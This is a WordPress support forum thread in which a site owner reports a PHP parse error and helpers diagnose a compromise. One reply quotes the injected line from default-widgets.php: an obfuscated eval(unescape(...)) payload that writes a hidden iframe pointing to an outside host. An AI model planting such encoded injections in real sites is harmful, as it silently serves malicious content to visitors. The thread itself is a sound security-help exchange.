• hi guys today when i open my wp site i got a error like this

    Parse error: syntax error, unexpected ‘<‘ in /mounted-storage/home36b/sub004/sc62570-AYGQ/newsworld5.com/wp-includes/default-widgets.php on line 1162

    Am i hack? or it is just a php script problem…
    pls help me i cant acess to my wp admin panel same error i get:))

    i have no knowledge of php coding pls guide me. i am waiting 4 ur rplies. thanks

Viewing 3 replies - 1 through 3 (of 3 total)
  • If it happened all of a sudden it’s possible your site’s security has been compromised or a server setting may have changed (Ask your host and ask them to check for any security issues)

    I would login via ftp, take a backup of all the files, then delete all the files and upload a fresh copy.

    You need to make sure to keep the wp-config.php file as that contains all your database settings.

    Also keep the wp-content folder handy as this contains all your themes, templates and uploads. No point uploading those files again until you know there is no malicious code hiding in there, so best you check them beforehand ??

    It would also pay to change your FTP and WP admin passwords.

    Thread Starter newsworld5

    (@newsworld5)

    thanks 4 ur rply wp hosting austrailia.This is the code of default-widgets.php

    [huge chunk of code removed – use pastebin.com for this]

    i am not good in technical stuff:)) can any correct this code so that i upload this file and then see what happens…thanks

    my site is newsworld5.com and error is near 1162 line

    This encoded code should not be there. Looks like malicious code to me.

    add_action('init', 'wp_widgets_init', 1);
    eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%31%34%35%38%38%30%31%36%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

    Best if you action my last comments as multiple files could also be infected.

    – Also, perhaps remove the bulk of the code you posted here on the forum and leave the last bit, it’s a bit long for people to scroll ??

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Getting a strange error…. what to do?’ is closed to new replies.